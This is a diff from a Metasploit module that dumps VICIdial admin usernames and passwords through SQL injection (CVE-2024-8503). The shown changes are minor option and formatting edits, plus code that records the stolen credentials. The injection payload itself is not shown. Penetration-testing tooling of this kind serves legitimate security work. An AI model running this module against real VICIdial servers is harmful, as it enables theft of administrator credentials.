@@ -17,7 +17,7 @@ def initialize(info = {})
1717 to dump admin credentials (usernames and passwords) via SQL injection.
1818 } ,
1919 'Author' => [
20- 'Valentin Lobstein' , # Metasploit Module
20+ 'Valentin Lobstein' , # Metasploit Module
2121 'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery
2222 ] ,
2323 'License' => MSF_LICENSE ,
@@ -26,6 +26,10 @@ def initialize(info = {})
2626 [ 'CVE' , '2024-8503' ]
2727 ] ,
2828 'DisclosureDate' => '2024-09-10' ,
29+ 'DefaultOptions' => {
30+ 'SqliDelay' => 1 ,
31+ 'VERBOSE' => true
32+ } ,
2933 'Notes' => {
3034 'Stability' => [ CRASH_SAFE ] ,
3135 'SideEffects' => [ IOC_IN_LOGS ] ,
@@ -36,10 +40,7 @@ def initialize(info = {})
3640
3741 register_options (
3842 [
39- Opt ::RHOST ( ) ,
40- Opt ::RPORT ( 80 ) ,
4143 OptString . new ( 'TARGETURI' , [ true , 'Base path of the VICIdial instance' , '/' ] ) ,
42- OptInt . new ( 'SqliDelay' , [ true , 'Delay in seconds for SQL Injection sleep' , 1 ] ) ,
4344 OptInt . new ( 'COUNT' , [ true , 'Number of records to dump' , 1 ] )
4445 ]
4546 )
@@ -66,7 +67,7 @@ def run
6667 private_type : :password ,
6768 private_data : user [ 1 ] ,
6869 service_name : 'VICIdial' ,
69- address : datastore [ 'RHOSTS ' ] ,
70+ address : datastore [ 'RHOST ' ] ,
7071 port : datastore [ 'RPORT' ] ,
7172 protocol : 'tcp' ,
7273 status : Metasploit ::Model ::Login ::Status ::UNTRIED
0 commit comments